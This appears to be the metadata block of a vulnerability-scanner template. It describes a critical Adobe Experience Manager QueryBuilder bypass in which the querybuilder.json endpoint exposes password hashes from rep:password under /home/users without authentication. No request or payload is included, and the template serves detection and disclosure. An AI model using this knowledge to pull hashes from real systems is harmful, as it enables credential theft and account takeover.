  name: AEM QueryBuilder JSON Exposure - Bypass
  author: tess,assetnote
  severity: critical
  description: |
    Adobe Experience Manager QueryBuilder endpoint allows unauthenticated attackers to extract sensitive user repository data, including password hashes from the rep:password field in /home/users. This vulnerability bypasses access controls and exposes bcrypt/SHA-256 password hashes through the querybuilder.json API, enabling potential credential compromise and account takeover attacks.
